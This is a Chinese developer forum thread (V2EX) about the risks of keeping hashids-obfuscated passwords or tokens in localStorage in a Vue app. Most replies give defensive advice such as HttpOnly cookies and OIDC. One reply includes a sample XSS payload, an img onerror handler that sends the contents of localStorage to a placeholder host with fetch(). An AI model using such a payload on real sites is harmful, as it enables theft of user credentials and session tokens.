如何破解前端保存的用户密码?

2023-02-25 17:53:03 +08:00
 yjim

前端用 Vue 框架搭建的,生成一串密钥保存在 .env 里

使用 hashids 把用户密码加密保存到 localStorage ,在登录界面 取出密文用 hashids 解密,再自动填充到 password 中。

  1. 这种情况下,攻击者如何取出并解密得到用户的密码?
  2. 前端应该如何保存密码或者 token 来实现免登录?
2515 次点击
所在节点    问与答
29 条回复
sheeta
2023-02-25 17:57:17 +08:00
掩耳盗铃...
renmu
2023-02-25 18:26:27 +08:00
你怎么解密他就怎么解密,所以你为什么要把密码存在本地
wunonglin
2023-02-25 18:27:48 +08:00
hashids 放前端用?
yaott2020
2023-02-25 18:29:26 +08:00
建议上 OIDC
DoveAz
2023-02-25 18:31:50 +08:00
为什么要破解,我把你加密的密码存到我的 locaostorage 不就行了
okakuyang
2023-02-25 18:34:34 +08:00
1.攻击者要找到脚本漏洞使用 xss 攻击方式获取用户密码
2.应该保存 token 登陆,而不是密码明文。
yjim
2023-02-25 18:41:33 +08:00
@renmu 那你就理解成 jwt 吧,目的是免登录

@wunonglin 前后端都可以用吧,没在前端用过,理论上前端是透明的 道理我懂,只是一个不成熟的想法,想问问行不行得通,不行就算了。

@yaott2020 就是用的 jwt ,现在在思考前端如何保存 token , 总不能每次都登录一下吧。

@DoveAz 感谢提醒, 一下子没想到这个。

@okakuyang 我以为 token 和密码是一样的,怎么保存密码就怎么保存 token ,密码怎么泄漏的,token 就怎么泄漏,泄漏 token ,攻击者就能以你的身份进行操作了。。
yjim
2023-02-25 18:43:53 +08:00
@renmu @wunonglin @yaott2020 @DoveAz @okakuyang

思考了一下,前端也不搞花里胡哨了,直接明文存 token ,后台对 token 和 IP +mac 绑定,校验 token 的同时校验 ip 和 mac ,如果不一致则校验失败,这样做还有风险么??
yaott2020
2023-02-25 18:46:21 +08:00
@yjim 你这样保障安全性局限太大了吧
okakuyang
2023-02-25 18:48:13 +08:00
@yjim 那估计动不动就要重新登陆了
yjim
2023-02-25 18:56:16 +08:00
@yaott2020 比如?


@okakuyang 就我了解到的,现在的网络供应商一般都是 48 小时才重置一次 IP 吧,然后我这服务不是面向公众的,用户基本上都是在稳定的设备上登录使用,不至于动不动就要重新登录吧。

然后校验 ip 和 mac 只是一个思路 /方向。
a33291
2023-02-25 19:06:08 +08:00
只要明文传输,fiddler 抓一下就能看到,甚至都不需要知道他怎么加密的
yjim
2023-02-25 19:07:20 +08:00
@a33291 请求必然是 https 的
wangxiaoaer
2023-02-25 19:07:34 +08:00
我就没搞懂,你前面搞这么复杂,后端请求难道不验证了吗?如果验证携带什么?如果不验证就类似开放的系统,破了其他用户密码有毛用?
Senorsen
2023-02-25 19:14:48 +08:00
MAC 怎么拿的??
rabbbit
2023-02-25 19:14:48 +08:00
如果部分地方用了 v-html 渲染用户输入的内容 ,则可能被通过 XSS 攻击的方式获取到密码,例如:

<div v-html="content"></div>
content:'<img src="" onerror="fetch(`http://127.0.0.1/${JSON.stringify(localStorage)}`)" />'
yjim
2023-02-25 19:20:47 +08:00
@rabbbit vue 安全页面里有强调过这个,v-html 能不用就不用,用的话要对能容进行 xssfilter
rabbbit
2023-02-25 19:21:06 +08:00
想要安全就用 cookies ,然后设置 Secure 和 HttpOnly
yjim
2023-02-25 19:25:52 +08:00
@Senorsen 只是一个思路,不一定非要是 mac ,像一些大厂,你异地登录就能识别出来,然后要求手机验证,总有办法进行识别的。我原先想着在前端做一些保护,比如加密存储 token ,不过看起来前端是彻底暴露的,所以重点还是要在后端做好防护才行。
yjim
2023-02-25 19:26:19 +08:00
@rabbbit 感谢提醒,我去了解下这个

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/919150

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX